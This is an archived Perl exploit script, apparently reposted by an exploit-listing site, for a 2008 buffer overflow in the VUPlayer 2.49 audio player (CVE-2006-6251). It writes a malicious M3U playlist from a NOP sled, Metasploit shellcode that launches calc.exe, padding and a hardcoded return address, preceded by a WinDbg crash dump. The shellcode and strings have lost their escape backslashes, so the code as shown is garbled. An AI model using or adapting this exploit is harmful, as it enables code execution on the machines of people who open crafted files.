

## vuplayer\_bof.pl.txt

Article URL

[exploit.php?eid=13259671948aa1b65ce1f13.77636425](http://www.securityhome.eu/exploits/exploit.php?eid=13259671948aa1b65ce1f13.77636425)

Author

SecurityHome.eu

Published: 18 August 2008

---

```
#!/usr/bin/perl
#
# Title: VUPlayer 2.49 M3U Playlist File Remote Buffer Overflow Exploit
#
# Summary: VUPlayer is a freeware multi-format audio player for Windows
#
# Product web page: http://www.vuplayer.com/vuplayer.php
#
# Desc: VUPlayer 2.49 suffers from buffer overflow vulnerability that can be
# exploited remotely using user intereaction or crafting. It fails to perform
# adequate boundry condition of the user input file (1016 bytes), allowing us
# to overwrite the EIP, ECX and EBP registers. Successful exploitation executes
# calc.exe, failed attempt resolve in DoS.
#
# -----WinDbg-----
#
# (e7c.c40): Access violation - code c0000005 (first chance)
# First chance exceptions are reported before any exception handling.
# This exception may be expected and handled.
# eax=00000000 ebx=00000001 ecx=41414141 edx=00da5c98 esi=0050b460 edi=0012ee24
# eip=41414141 esp=0012eab8 ebp=41414141 iopl=0      nv up ei pl zr na pe nc
# cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00210246
# 41414141 ??      ???
#
# -----
#
# Tested on Microsoft Windows XP Professional SP2 (English)
#
# Vulnerability discovered by Greg Linares & Expanders in version 2.44 (2006)
#
# Refs:
```

```
#
# - CVE: CVE-2006-6251
# - MILWORM:2872
# - MILWORM:2870
# - CERT-VN:VU#311192
# - BID:21363
# - FRSIRT:ADV-2006-4783
# - SECUNIA:23182
# - XF:vuplayer-plsm3u-bo(30629)
#
# Exploit coded by Gjoko 'LiquidWorm' Krstic
#
# liquidworm [t00t] gmail.com
#
# http://www.zeroscience.org
#
# 18.08.2008
#

print "

";
print "=" x 80;
print "

";
print " VUPlayer 2.49 M3U Playlist File Remote Buffer Overflow Exploit
";
print " by LiquidWorm <liquidworm [at] gmail.com>

";
print "=" x 80;

# win32_exec - EXITFUNC=thread CMD=calc.exe Size=351 Encoder=PexAlphaNum http://metasploit.com

$SHELLCODE = "xebx03x59xebx05xe8xf8xffxff".
"x4fx49x49x49x49x49x51x5ax56".
"x54x58x36x33x30x56x58x34x41x30".
"x42x36x48x48x30x42x33x30x42x43".
"x56x58x32x42x44x42x48x34x41x32".
"x41x44x30x41x44x54x42x44x51x42".
"x30x41x44x41x56x58x34x5ax38x42".
"x44x4ax4fx4dx4ex4fx4ax4ex46x34".
"x42x30x42x30x42x50x4bx48x45x34".
"x4ex43x4bx58x4ex57x45x30x4ax57".
"x41x50x4fx4ex4bx58x4fx54x4ax31".
```

```
"x4bx58x4fx45x42x52x41x30x4bx4e".  
"x49x54x4bx48x46x53x4bx38x41x30".  
"x50x4ex41x53x42x4cx49x49x4ex4a".  
"x46x38x42x4cx46x37x47x50x41x4c".  
"x4cx4cx4dx50x41x50x44x4cx4bx4e".  
"x46x4fx4bx53x46x45x46x32x46x50".  
"x45x57x45x4ex4bx38x4fx55x46x52".  
"x41x30x4bx4ex48x36x4bx58x4ex30".  
"x4bx54x4bx58x4fx55x4ex51x41x50".  
"x4bx4ex4bx38x4ex51x4bx38x41x30".  
"x4bx4ex49x38x4ex35x46x52x46x30".  
"x43x4cx41x33x42x4cx46x36x4bx38".  
"x42x54x42x53x45x58x42x4cx4ax37".  
"x4ex50x4bx58x42x34x4ex30x4bx58".  
"x42x47x4ex31x4dx4ax4bx48x4ax36".  
"x4ax30x4bx4ex49x50x4bx38x42x38".  
"x42x4bx42x50x42x50x42x30x4bx38".  
"x4ax36x4ex53x4fx55x41x53x48x4f".  
"x42x46x48x35x49x48x4ax4fx43x38".  
"x42x4cx4bx57x42x35x4ax36x4fx4e".  
"x50x4cx42x4ex42x56x4ax56x4ax39".  
"x50x4fx4cx48x50x50x47x35x4fx4f".  
"x47x4ex43x36x41x56x4ex36x43x36".  
"x50x32x45x36x4ax57x45x46x42x50".  
"x5a";
```

```
$FILE = "TETOVIRANJE.m3u";
```

```
$GARBAGE = "x4A" x 461;
```

```
$NOPSLED = "x90" x 200;
```

```
$RET = "xC0xE6x12x00";
```

```
print "
```

```
[-] Buffering malicious playlist file. Please wait...
```

```
";
```

```
sleep (5);
```

```
open (BOF, ">./$FILE") || die "
```

```
Can't open $FILE: $!";
```

```
print BOF "$NOPSLED" . "$SHELLCODE" . "$GARBAGE" . "$RET";
```

```
close (BOF);
```

```
print "
```

```
[+] File $FILE successfully created!
```

```
";
```

```
system (pause);
```